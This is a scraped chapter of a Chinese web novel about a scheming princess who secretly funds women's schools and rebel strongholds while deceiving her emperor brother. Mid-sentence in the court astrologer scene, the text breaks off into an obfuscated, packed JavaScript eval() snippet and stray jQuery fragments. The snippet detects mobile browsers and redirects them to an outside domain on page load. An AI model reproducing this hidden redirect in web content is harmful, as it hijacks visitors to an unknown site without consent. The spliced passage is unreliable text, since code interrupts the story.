19.荔阳学堂案-4

作品:《掀桌!本将军不奉诏

    日光斜照,映着红墙金瓦。


    涵光宫内,沉檀香袅袅,碧纱窗半掩,光影交错。宫中陈设简朴,唯一奢华精致些的就是那张紫檀木雕花棋盘,盘上布着一局难分胜负的棋。


    男皇帝着一身明黄色常服,衣摆上绣着暗金色的龙纹。他执着棋子,皱眉沉思,迟迟未落。


    对面,长公主闻岑着一袭烟紫色罗裙,头上是缀着红玛瑙的金步摇。她单手拖着腮,静静望着面前的棋局,眼神清明。


    棋盘之上黑白交错,杀得天翻地覆,正是胶着之时。终于,男皇帝思忖良久后,落下一子。


    长公主唇角勾起一抹转瞬即逝的冷笑,随即装作困扰,也跟着落下一子,卖了个破绽。


    男皇帝果然瞧出了她的“疏漏”,眼中掠过一丝欢喜,几乎未多想,便拈起一子落下:“哈……这一局,朕赢了。”


    他一面说,一面惬意地往椅背上一靠,庆幸着终于扳回一局。


    长公主轻轻垂下头,眼中的讥讽一闪而过。她佯作懊恼地低声叹道:“终是不敌皇兄呀。”


    男皇帝却全然不觉,面上露出得意的神色,捻着胡须说起话来:“柔嘉,今日朕气运正盛啊,棋局得胜,政事也顺风顺水。荔阳那边,又抄了一个玉衡社的讲堂,抓了几个人。”


    长公主仍旧垂着眼,面上挂着温柔得体的笑意:“那正是大喜事。皇兄英明,自能肃清乱党。”


    男皇帝笑了两声,说得越发畅快:“哼,女人嘛,读什么书?都学得这般不恭顺、不安分……自古以来,夫为妻纲。你也明白,女子之道,就该像你的称号那般:柔嘉,温顺才是天命。”


    他顿了顿,像是突然想起了什么:


    “朕跟你说过的,那个叫楚无锋的镇国将军,功高盖主,还偏又是个女人,朕早就看她不顺眼了。本想借何仲道杀之,谁知他不中用……罢了,等她回来,朕亲自料理吧。


    “大虞的兵权,怎么能落在一个女人手里?”


    长公主含笑点点头,面上仍是温顺如旧:“皇兄所言极是。”


    男皇帝心满意足地站起身,整了整龙袍:“好了,柔嘉,朕那边还有两道折子未批,就不多留了。”


    长公主起身,恭谨地行了礼:“臣妹恭送皇上。”


    待那明黄色的身影远去后,闻岑冷哼一声,拔下头上的金步摇,随手掷在桌上,铛的一声脆响。


    “你们都退下吧。兰生,进来。”


    兰生姑姑快步走了进来,其它宫女都垂着头退了出去,宫门被紧紧阖上。


    她贴近闻岑耳边,低声问道:“殿下,有何吩咐?”


    闻岑指了指桌上的金步摇:“把这妆饰的劳什子东西丢出去,每次戴着好似服役一样……罢了,收到盒子里吧,下次那昏君来的时候,还得装样子。”


    兰生姑姑伸手取过步摇:“是。”


    闻岑悄声问:“荔阳那边……又被发现了一个据点?”


    兰生姑姑取出袖中的情报书,递给闻岑:“正是,属下原本打算等皇帝走了就来通报。因为那边隔着水患,目前的消息都是飞鸽传来的。听说学生都被赎出了,只有讲师还关押在县城的狱中。”


    闻岑一边细细读着情报书,一边皱眉思索:“附近有哪些据点?梅川寨是最近的,应当能帮助救援。凤栖寨稍微远了点,她们怎么说?”


    兰生姑姑答道:“梅川寨的柳寨主早就安排好人手了,已经埋伏在荔阳城内。凤栖寨的应寨主回了信,说赶过去最快也要四五日,怕是来不及救援,但可以接应、收容救出来的讲师。玉衡社方面亦自有安排。”


    闻岑点点头:“不错,我想想。那个叫楚无锋的将军,如今应该正好路过那里吧?”


    兰生姑姑想了片刻:“禀殿下,正是。”


    闻岑嘴角浮现出一抹笑意:“她连凤栖寨都没舍得打,想来在此事上不可能坐视不理。在她回京的路上,我会保她;等她回来之后是死是活,就看她自己的造化了。你去请人往钦天监那边走一趟吧。”


    兰生姑姑应下了,随后又继续低声说:“梅川寨派遣了几十人,还需筹备马匹、兵刃等,前前后后大约一千两;凤栖寨那边若收容被救出来的讲师,要购置被褥器物、采买医药,估摸也要六七百两。至于玉衡社……方才来了信,急需冬衣、课本和纸笔。”


    闻岑听罢,思考片刻后回答:“拨三千两,从‘金工司修缮’那条账目里走。先紧着梅凤二寨,余下的分发给其它据点。”


    兰生姑姑有些犹豫:“可是……金工司那边今日刚刚理了收支。”


    闻岑语气平静:“照做就是。金工司的折子我看过,那些人本就虚报了四成银子,我不过是帮他们填个账。”


    兰生姑姑低头记下:“是。那凤栖寨和梅川寨两处,我会分批发放银两。照旧例,用盐商那边做幌子。”


    闻岑“嗯”了一声。


    兰生姑姑又问:“玉衡社呢?眼下朝廷查得紧……”


    闻岑长出一口气:“这些文房物品都好办,先以‘积德布施’的名义送去静慈庵,再从西山驿站转过去。”


    兰生姑姑微微俯身:“殿下英明。”


    ------------------------------------------------------


    是夜,钦天监的观星台上,满天星斗浩如沧海。穹顶之下,一人衣袂飘飘,背手而立。


    次日清晨,金銮殿前,手持拂尘的大太监正在御前通报:“皇上,钦天监国师求见。”


    男皇帝斜倚在龙椅上,放下手中的奏折,懒散地抬了抬眼:“请进来。”


    身着玄色长袍的国师款款而入,拱手行礼:“启禀陛下,臣夜观天象,近日有‘破军偏照,武星南落’之局。”


    男皇帝蹙眉:“哦?那你倒是说说,此局何解?”


    国师抬起头,缓缓说道:“此局甚是凶险,主动荡不安,是我大虞的将星有移动之象。好在此刻只是将星迁移,尚未转暗;一旦将星黯淡,边疆恐有兵变。臣斗胆揣测,朝中可有将领调动之事?”


    男皇帝沉吟片刻,突然命人取来一张纸,提笔在纸上写了几个字,把纸折好抛下去。


    他问国师:“你看此八字,可应了你的星象之说?”


    国师捡起那张纸,看了一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214718|179395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会儿,随即神色肃然,跪倒在地:


    “回禀陛下,此命格确为‘将星破煞格’。倘若在军中任职,于我大虞社稷为吉,可以对应臣观到的将星。


    “只是……若此命格为女命,则五行阴阳更为调和,煞气不破、反化为用,可保我大虞国运昌隆、边疆安定。”


    国师顿了顿,试探性地抬起眼:“敢问陛下,这是哪位将军的命格?若其家中有同时出生的姊妹,不如调入军营……”


    男皇帝一边听,一边用手指轻敲面前的桌案。到这里,他打断了国师:“这是镇国将军楚无锋的八字。”


    他停顿片刻,好像在有意观察对方的表情。见国师面上露出恰到好处的讶异,他轻轻一笑:“你说得不错,确实是女命。……赏。”


    殿中内侍早已候在一旁,捧上一只朱红色的漆匣,恭恭敬敬递至国师面前。


    国师伏在地上,一连串地叩首:“臣谢陛下隆恩,定当为大虞尽心竭力。”


    谢过恩,他便起身退下了。


    殿内的香炉中烟气氤氲,男皇帝久久未言,似笑非笑地望着案上的奏折,半晌,自言自语道:“女命将星……真是吉啊。”


    随后,便是一时沉默,唯有那烟雾仍旧飘渺升起,遮住了他难辨的神色。


    金銮殿外,几个小太监正聚在一起悄悄说着闲话。


    “哎,小达子,百闻不如一见啊,国师大人果然俊朗得很。”


    “我这是头回见他,刚才还以为是哪个宫里的娘娘呢。都说国师大人状貌若妇人好女,今日一见,确实是……”


    “细皮嫩肉的,哪儿像个懂天道的人?”


    “你懂什么面相啊?”


    “你们几个,当心你们的脑袋!人家没准掐指一算,就知道你们在这里乱讲了。”


    “没那么邪乎吧!”


    “哈……哈哈……人家可是贵人,哪怕算到了,也不会跟咱们计较的。”


    “得嘞,得嘞,我也不和你们拌嘴了。小心些!别乱嚼舌头被人听去了。”


    ------------------------------------------------------


    这一日清晨,天色微亮,第一批入城的商户便在荔阳城门前排起了长队。


    守卫仔细看着其中一人的照身帖、路引等文书:“你这是淮安城那边的路引,来我们荔阳城做什么?”


    那女子操着一口北地方言,手里牵着另一名女子:“俺是过路的商户,半路上小妹病了,想进城寻个郎中。你说那路引,俺不识字,也看不明白。长官,您行行好,放俺和小妹进去吧。”


    守卫狐疑地看了她一眼,正要继续发问,身后突然有人惊呼:“哎呀,我笼子里的鸡飞出去了!”


    他便下意识地转头看去。


    趁着这个空隙,这个女子便拉着那所谓“生病的小妹”,随着人群推搡,混入荔阳城中了。


    她们奔向城中一处不起眼的民宅,凭着梅川寨的手牌,成功进了宅门。


    刚一进门,便有人嗔怪道:“怎么来得这么晚?罢了,快些准备吧,今晚就要行动了。”